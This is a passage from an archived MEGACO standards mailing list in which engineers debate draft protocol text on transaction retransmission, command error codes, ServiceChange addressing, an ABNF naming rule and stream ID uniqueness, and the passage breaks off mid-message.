Message-ID:  <389AF7AA.C8721B97@worldnet.att.net>
Date:         Fri, 4 Feb 2000 11:00:42 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------3DCA193441BC1D638ACFDE18
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Brian

Some comments below

Regards

        Flemming Andreasen

"Rosen, Brian" wrote:

> ....snip......
>
> > >v13 Status:     OPEN. No text changed.
> > v14: SEMI-CLOSED. Draft text now specifies that "The transaction
> > identifiers of incoming messages are compared to the transaction
> > identifiers of the recent responses from the same entity",
> > however "from"
> > should be replaced with "to". Furthermore, "entity" should be
> > clarified to
> > specifically state that it is determined based on "mID".
>
> I believe Chip is correct.
>
> > >
> > >Section:        D.1.1, second paragraph  Category:       Technical,
> > >Editorial  Issue:          The draft text specifies that
> > "The remaining
> > >messages will be  compared to the list of current
> > transactions. If a match
> > >is found,  indicating a duplicate transaction, the entity
> > does not execute
> > >the  transaction, which is simply ignored". The above behaviour is
> > >sub-optimal  and will lead to unnecessary retransmissions
> > and adjustment
> > >of  retransmission timers for subsequent transmissions. It is
> > >furthermore  inconsistent with the description in Annex
> > >D.1.4.  Proposal:       It is proposed that a "TransActionPending"
> > >response is returned  instead.
> > >
> > >v13 Status:     OPEN. No text changed.
> >
> > v14: OPEN. No relevant text changed.
> Same as the argument about immediate reply for a duplicate
> request when a pend was lost; the timeout for a pend will
> occur before a timeout from the duplicate request (or the final
> response will be generated).  Sending another message immediately
> just generates another message; it won't change behavior at the
> requestor, since it must wait for it's timer to expire before sending
> another duplicate and if it gets a pend, it will just reset it's
> timer.  If the subsequent pend appears, the timer will be reset
> short of its expiry.  If the pend is lost, the timer will expire
> triggering another duplicate request, AS IT SHOULD.

Let's take a closer look:

MGC                MG
Request ->

        x-     Pending (now switches to a longer timer)
(lost, so MGC sticks w. normal timer)

(timeout)
Request ->     (ignore since transaction is currently executing)
(timeout))
Request ->     (ignore since transaction is currently executing)
(timeout)
Request ->     (ignore since transaction is currently executing)
...
       <- Final
(finally)



>
>
> Brian

--------------3DCA193441BC1D638ACFDE18
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi Brian

Some comments below

Regards

        Flemming Andreasen

"Rosen, Brian" wrote:

....snip......

> >v13 Status:     OPEN. No text changed.

> v14: SEMI-CLOSED. Draft text now specifies that "The transaction

> identifiers of incoming messages are compared to the transaction

> identifiers of the recent responses from the same entity",

> however "from"

> should be replaced with "to". Furthermore, "entity" should be

> clarified to

> specifically state that it is determined based on "mID".

I believe Chip is correct.

> >

> >Section:        D.1.1, second
paragraph  Category:       Technical,

> >Editorial  Issue:         
The draft text specifies that

> "The remaining

> >messages will be  compared to the list of current

> transactions. If a match

> >is found,  indicating a duplicate transaction, the entity

> does not execute

> >the  transaction, which is simply ignored". The above behaviour
is

> >sub-optimal  and will lead to unnecessary retransmissions

> and adjustment

> >of  retransmission timers for subsequent transmissions. It
is

> >furthermore  inconsistent with the description in Annex

> >D.1.4.  Proposal:       It is
proposed that a "TransActionPending"

> >response is returned  instead.

> >

> >v13 Status:     OPEN. No text changed.

>

> v14: OPEN. No relevant text changed.

Same as the argument about immediate reply for a duplicate

request when a pend was lost; the timeout for a pend will

occur before a timeout from the duplicate request (or the final

response will be generated).  Sending another message immediately

just generates another message; it won't change behavior at the

requestor, since it must wait for it's timer to expire before sending

another duplicate and if it gets a pend, it will just reset it's

timer.  If the subsequent pend appears, the timer will be reset

short of its expiry.  If the pend is lost, the timer will expire

triggering another duplicate request, AS IT SHOULD.

Let's take a closer look:

MGC               
MG

Request ->

       
x-     Pending (now switches to a longer timer)

(lost, so MGC sticks w. normal timer)

(timeout)

Request ->    
(ignore since transaction is currently executing)

(timeout))

Request ->    
(ignore since transaction is currently executing)

(timeout)

Request ->    
(ignore since transaction is currently executing)

...

      
<- Final

(finally)

 

 

 

Brian



--------------3DCA193441BC1D638ACFDE18--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 11:15:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA01423
	for ; Fri, 4 Feb 2000 11:15:44 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CD8594B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:13:02 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24125 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 11:12:43 -0500
Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows
          NT v1.1a) with SMTP id <0.5BE874E0@standards.nortelnetworks.com>;
          Fri, 4 Feb 2000 11:02:42 -0500
Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id KAA01850
          for ; Fri, 4 Feb 2000 10:04:38
          -0600 (CST)
Received: from relay2.dsccc.com(143.209.238.7) by fw7 via smap (V2.0) id
          xma001676; Fri, 4 Feb 00 10:04:12 -0600
Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by
          relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id KAA25450 for
          ; Fri, 4 Feb 2000 10:05:16 -0600
          (CST)
Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAB6C34 for
          ; Fri, 4 Feb 2000 10:04:07 -0600
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id KAA09926 for ; Fri, 4
          Feb 2000 10:04:01 -0600 (CST)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id KAA22396
          for ; Fri, 4 Feb 2000 10:04:01
          -0600 (CST)
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="------------B66A084FA976EF626E483A42"
Message-ID:  <389AF870.30CBDCFA@usa.alcatel.com>
Date:         Fri, 4 Feb 2000 10:04:01 -0600
Reply-To: Chuong Nguyen 
Sender: "Media Gateway Control (megaco)"
              
From: Chuong Nguyen 
Subject:      Command Error Codes
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------B66A084FA976EF626E483A42
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Section 7.3 Command Error Codes
"Sending the explanatory string is optional."
Does this or should this statement be apply to ServiceChange Reason
codes?

The following errors implies responses/acknowledgement to
TransactionReply and TransactionPending
but the ABNF does not shows a TransactionAcknowledgement.
Section 8.2.3 and 8.2.4 do not talk about these transactions having
responses/acknowledgement.
If there is supposed to be one, be aware that the name TransactionAck is
already used in D.1.2

     404 - Syntax Error in TransactionReply
     405 - Syntax Error in TransactionPending
     461 - TransactionIDs in Reply do not match Request
     462 - Commands in Transaction Reply do not match commands in
request
     463 - TerminationID of Transaction Reply does not match  request
     464 - Missing reply in Transaction Reply
     465 - TransactionID in Transaction Pending does not match any open
request
     467 - Illegal Duplicate Transaction Reply

Who sends this error MG or MGC?
Definitely not MGC to MG which does not make sense.
MG to MGC make some sense but it is only helping to flood the network.
     504 - Command Received from unauthorized entity


     466 - Illegal Duplicate Transaction Request               ???????

Chuong

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------B66A084FA976EF626E483A42
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Section 7.3 Command Error Codes

"Sending the explanatory string is optional."

Does this or should this statement be apply to ServiceChange Reason
codes?

The following errors implies responses/acknowledgement to TransactionReply
and TransactionPending

but the ABNF does not shows a TransactionAcknowledgement.

Section 8.2.3 and 8.2.4 do not talk about these transactions having
responses/acknowledgement.

If there is supposed to be one, be aware that the name TransactionAck
is already used in D.1.2

     404 - Syntax Error in TransactionReply

     405 - Syntax Error in TransactionPending

     461 - TransactionIDs in Reply do not match
Request

     462 - Commands in Transaction Reply do not
match commands in request

     463 - TerminationID of Transaction Reply does
not match  request

     464 - Missing reply in Transaction Reply

     465 - TransactionID in Transaction Pending
does not match any open request

     467 - Illegal Duplicate Transaction Reply

Who sends this error MG or MGC?

Definitely not MGC to MG which does not make sense.

MG to MGC make some sense but it is only helping to flood the network.

     504 - Command Received from unauthorized entity

 

     466 - Illegal Duplicate Transaction Request              
???????

Chuong

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------B66A084FA976EF626E483A42--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 11:47:21 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02427
	for ; Fri, 4 Feb 2000 11:47:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2B0DAF60@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:44:17 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24353 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 11:43:21 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.0924CEB0@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          11:43:20 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 16:32:00 +0000
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 10:31:25 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 11:31:03 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCHW6>; Fri, 4 Feb 2000 11:31:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F2D.396AF2E8"
Message-ID:  
Date:         Fri, 4 Feb 2000 11:30:59 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Service Change
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F2D.396AF2E8
Content-Type: text/plain

Glitch warning -- indicated change won't work.  Our messages can include
both requests and responses, so the address to which messages are sent is an
all or nothing decision.  I'll try to make things consistent with section 9.
Simplest way is by saying that ServiceChangeAddress should not be sent by an
MG when transport is over IP.

> -----Original Message-----
> From: Rosen, Brian [SMTP:brosen@FORE.COM]
> Sent: Friday, February 04, 2000 9:22 AM
        [[TomT]]  snip
> >
> > Section:         7.2.8 (ServiceChange), fifth last paragraph
> > Category:     Technical, Editorial
> > Issue no.:     14.8
> > Issue:          The draft text specifies that "The MGC shall use this
> > Addres, if specified, in its response to the ServiceChange
> > command and any
> > subequent commands and responses" and "The MG shall use this
> > address for
> > any subsequent communication with the MGC". While it makes
> > sense to require
> > commands to be sent to this address, it is generally not a
> > good idea to
> > require this for responses, e.g. for clustered systems. Furthermore,
> > Section 9 (Transport) also specifies that "Responses to
> > commands are sent
> > back to the source address of the commands"
> > Proposal:     It is strongly recommended, that commands will
> > be sent to the
> > address specified while responses will always be sent to the
> > source address
> > they came from.
> > Status:
> I agree with this.  The text is inconsistant, so something needs
> to be changed.  Chip's proposal seems the most reasonable way
> to resolve it
>
>
        [[TomT]]  snip

------_=_NextPart_001_01BF6F2D.396AF2E8
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Service Change




Glitch warning -- =
indicated change won't work.  Our messages can include both =
requests and responses, so the address to which messages are sent is an =
all or nothing decision.  I'll try to make things consistent with =
section 9.  Simplest way is by saying that ServiceChangeAddress =
should not be sent by an MG when transport is over IP.


    

    -----Original Message-----

    From:   Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:   Friday, February 04, 2000 9:22 AM

    [[TomT]]  =
snip=20

    >

    > =
Section:         7.2.8 =
(ServiceChange), fifth last paragraph

    > =
Category:     Technical, Editorial

    > Issue =
no.:     14.8

    > =
Issue:          The draft =
text specifies that "The MGC shall use this

    > Addres, if specified, in its =
response to the ServiceChange

    > command and any

    > subequent commands and =
responses" and "The MG shall use this

    > address for

    > any subsequent communication =
with the MGC". While it makes

    > sense to require

    > commands to be sent to this =
address, it is generally not a

    > good idea to

    > require this for responses, e.g. =
for clustered systems. Furthermore,

    > Section 9 (Transport) also =
specifies that "Responses to

    > commands are sent

    > back to the source address of =
the commands"

    > =
Proposal:     It is strongly recommended, that =
commands will

    > be sent to the

    > address specified while =
responses will always be sent to the

    > source address

    > they came from.

    > Status:

    I agree with this.  The text is =
inconsistant, so something needs

    to be changed.  Chip's proposal =
seems the most reasonable way

    to resolve it

    

    


    [[TomT]]  snip 

    




------_=_NextPart_001_01BF6F2D.396AF2E8--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 12:01:19 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02783
	for ; Fri, 4 Feb 2000 12:01:15 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.003E7290@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:57:24 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24381 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 11:56:20 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.740816B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:46:20
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id LAA04781; Fri, 4 Feb
          2000 11:48:16 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id LAA01712; Fri, 4 Feb
          2000 11:48:19 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTP1G>; Fri, 4 Feb 2000 11:45:03 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F2F.2DEB83FE"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20888F@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 11:48:15 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Service Change
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F2F.2DEB83FE
Content-Type: text/plain;
        charset="iso-8859-1"

Excuse me, messages don't matter, transactions do.  A message with one
request transaction and one response transaction can, and most probably
will, result in a different
structure in outgoing messages.  It would not be a big burden to have
responses going
to a different place than transactions, although it might increase the
number of
messages.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000 11:31 AM
To: Rosen, Brian; megaco@standards.nortelnetworks.com
Subject: RE: Cisco SG16: Service Change



Glitch warning -- indicated change won't work.  Our messages can include
both requests and responses, so the address to which messages are sent is an
all or nothing decision.  I'll try to make things consistent with section 9.
Simplest way is by saying that ServiceChangeAddress should not be sent by an
MG when transport is over IP.

        -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@FORE.COM]
Sent:   Friday, February 04, 2000 9:22 AM
[[TomT]]  snip
>
> Section:         7.2.8 (ServiceChange), fifth last paragraph
> Category:     Technical, Editorial
> Issue no.:     14.8
> Issue:          The draft text specifies that "The MGC shall use this
> Addres, if specified, in its response to the ServiceChange
> command and any
> subequent commands and responses" and "The MG shall use this
> address for
> any subsequent communication with the MGC". While it makes
> sense to require
> commands to be sent to this address, it is generally not a
> good idea to
> require this for responses, e.g. for clustered systems. Furthermore,
> Section 9 (Transport) also specifies that "Responses to
> commands are sent
> back to the source address of the commands"
> Proposal:     It is strongly recommended, that commands will
> be sent to the
> address specified while responses will always be sent to the
> source address
> they came from.
> Status:
I agree with this.  The text is inconsistant, so something needs
to be changed.  Chip's proposal seems the most reasonable way
to resolve it


        [[TomT]]  snip


------_=_NextPart_001_01BF6F2F.2DEB83FE
Content-Type: text/html;
        charset="iso-8859-1"




RE: Cisco SG16: Service Change




Excuse
me, messages don't matter, transactions do.  A message with one request
transaction and one response transaction can, and most probably will, result in
a different


structure in outgoing messages.  It would not be a
big burden to have responses going


to a
different place than transactions, although it might increase the number
of


messages.  


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Friday, February 04, 2000
  11:31 AM
To: Rosen, Brian;
  megaco@standards.nortelnetworks.com
Subject: RE: Cisco SG16: Service
  Change


  
Glitch warning -- indicated change
  won't work.  Our messages can include both requests and responses, so the
  address to which messages are sent is an all or nothing decision.  I'll
  try to make things consistent with section 9.  Simplest way is by saying
  that ServiceChangeAddress should not be sent by an MG when transport is over
  IP.

  
    
    
    -----Original Message----- 
    From:   Rosen, Brian [SMTP:brosen@FORE.COM] 
    Sent:   Friday, February
    04, 2000 9:22 AM 
    [[TomT]]  snip
    
    > 
    >
    Section:         7.2.8
    (ServiceChange), fifth last paragraph 
    > Category:     Technical, Editorial
    
    > Issue no.:    
    14.8 
    >
    Issue:          The draft text
    specifies that "The MGC shall use this 
    > Addres, if specified, in its response to the
    ServiceChange 
    > command and any
    
    > subequent commands and responses" and "The
    MG shall use this 
    > address for
    
    > any subsequent communication with the MGC".
    While it makes 
    > sense to
    require 
    > commands to be sent to this
    address, it is generally not a 
    > good
    idea to 
    > require this for responses,
    e.g. for clustered systems. Furthermore, 
    > Section 9 (Transport) also specifies that "Responses to
    
    > commands are sent 
    > back to the source address of the commands"
    
    > Proposal:     It is
    strongly recommended, that commands will 
    > be sent to the 
    > address
    specified while responses will always be sent to the 
    > source address 
    > they came from. 
    >
    Status: 
    I agree with this.  The text
    is inconsistant, so something needs 
    to be
    changed.  Chip's proposal seems the most reasonable way
    
    to resolve it 

    
    
    [[TomT]]  snip



------_=_NextPart_001_01BF6F2F.2DEB83FE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 12:04:28 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02903
	for ; Fri, 4 Feb 2000 12:04:28 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.486BECF0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:59:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24451 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 11:57:46 -0500
Received: from aztek-eng.com (206.168.36.88) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.0CAAFD50@standards.nortelnetworks.com>; Fri, 4 Feb 2000 11:57:45
          -0500
Received: from aztek-eng.com (jfpc [191.0.6.28]) by aztek-eng.com
          (8.9.3+Sun/8.9.3) with ESMTP id JAA21669 for
          ; Fri, 4 Feb 2000 09:59:03 -0700
          (MST)
X-Mailer: Mozilla 4.51 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389B050C.A7A95BEB@aztek-eng.com>
Date:         Fri, 4 Feb 2000 09:57:48 -0700
Reply-To: Jo Friedman 
Sender: "Media Gateway Control (megaco)"
              
From: Jo Friedman 
Organization: Aztek Engineering
Subject:      Ambiguous pathNAME in ABNF?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Is this rule is ambiguous?

; Total length of pathNAME must not exceed 64 chars.
pathNAME             = ["*"] NAME *("/" / "*"/ ALPHA / DIGIT /"_"
)

because a NAME must end with an ALPHA, DIGIT, or _ according to
NAME                 = ALPHA *63(ALPHA / DIGIT / "_" )

how does one know where the NAME ends and the
*("/" / "*"/ ALPHA / DIGIT /"_" )
begins?

Jo


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 12:55:00 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04724
	for ; Fri, 4 Feb 2000 12:55:00 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.724541F0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:50:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24591 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 12:49:17 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.D9C880F0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:39:17
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id MAA09653; Fri, 4 Feb
          2000 12:41:24 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id MAA13866; Fri, 4 Feb
          2000 12:41:16 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTP8Q>; Fri, 4 Feb 2000 12:38:00 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208890@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 12:41:14 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Streams
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

See comments below.

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:06 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Streams
>
>
> At 05:09 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >The first issue appears to have been resolved by the new v14
> text in 7.1.6.
> >
> Not quite - see below
> >
> >With respect to the second issue, we now have the means to
> delete a stream
> >implicitly on a termination: by specifying Reserve=FALSE and
> empty Local
> >and Remote descriptors.  This meets the spirit of what Chip
> is asking for
> >by making stream creation and deletion symmetric.  Can we get rid of
> >Mode=delete?
> Actually, this particular piece seems fine the way it is.
> >
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 8:03
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> Cisco SG16:
> >Streams
> >
> >Section:        7.1.4, second
> >paragraph  Category:       Technical  Issue:          The draft text
> >specifies that "A stream is identified by a  StreamID",
> however there is
> >no uniqueness requirement on the StreamID which  may lead to
> inconsistent
> >behaviour.  Proposal:       Since terminations, and thereby
> streams, may
> >be moved between  different context, it is recommended that
> StreamIDs are
> >defined to be  unique within a MG.
> >
> >v13 Status:     OPEN. No new text.
> v14: OPEN. No new text.
This is the one that the new text addresses, I think your
notation here is incorrect, there is new text in V14.


> Section:       7.1.6 (Stream Descriptor), first two bullets
> in bullet list
> Category:    Technical, Editorial
> Issue no.:    14.1
> Issue:          The draft text specifies that "if a streamID
> of an active
> stream in the moved termination matches a streamID in the
> context it was
> moved to, the associated stream remains active on that
> termination" and "if
> a streamID of an active stream in the moved termination does
> not match any
> streamID in the context it was moved to, the stream SHALL be set to
> inactive". Both the text and underlying intention is unclear. The text
> seems to imply that streamID's for streams in different
> contexts somehow
> affect the semantics of those stream when there associated
> terminations are
> moved between contexts, however that does not seem to make
> much sense. An
> identifier is an identifer. This issue may be related to issue 12.4.
> Proposal:     A clarification of these two items are needed.
> Status:
Here I agree.  When I first thought about how to make the
change I had it as streamIDs equal and media equal.  If you,
for whatever reason, had, say stereo left as streamId=4, and
teletext as StreamId=5 in one context, and you moved a
termination from that context into one where teletext was 4 and
stereo left was 5, what do you expect to happen:
        MG knows what to do and changes the moved termination
                to be correct
        MG figures out that it is screwed up and generates an Error
        MG figures out that it is screwed up and disconnects streams
                on the moved termination
        MG can't figure out that it is screwed up and RTP streams
                get confused.
At the moment, I'm inclined to simply state: The MGC must ensure that
StreamIds are consistent for similar media types within the MG.
There is no protection against confusion when a termination is
moved between two contexts where a specific streamId is a different
type of media in the contexts.



>
> >    Section:        7.1.7, third
> > paragraph  Category:       Technical  Issue:          The draft text
> > specifies that "Mode set to delete is used to remove  a
> stream from a
> > termination". There is no mention of how to add a stream
> which would
> > seem logical to be able to if you can delete a
> > stream.  Proposal:       It is recommended that text describing how
> > streams are added is  included.
> >
> >v13 Status:             OPEN. No text added.
> v14: CLOSED. Relevant text added in 7.1.6.
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 13:00:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04907
	for ; Fri, 4 Feb 2000 13:00:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6E3FC9D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:57:45 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24595 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 12:56:31 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.D9DE5D70@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:46:27
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id MAA10452; Fri, 4 Feb
          2000 12:48:15 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id MAA15669; Fri, 4 Feb
          2000 12:48:18 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTQCD>; Fri, 4 Feb 2000 12:45:02 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208891@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 12:48:16 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Failover
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I don't think changing the restart mechanism to "Disconnected" is
warranted.  There never was an MG/MGC relationship established,
so there is nothing to be disconnected.  Disconnected implies
something was there, that isn't now, and in particular, implementations that
keep stable state may get confused.

I think I agree with 12.50, but I'm going to mull it over a little
more.

Brian

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:11 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Failover
>
>
> At 04:09 PM 2/3/00 -0500, Tom-PT Taylor wrote:
>
> >
> >
> >Looks like an useful clarification to the existing text.
> OK. For completeness all the relevant issues with a status update is
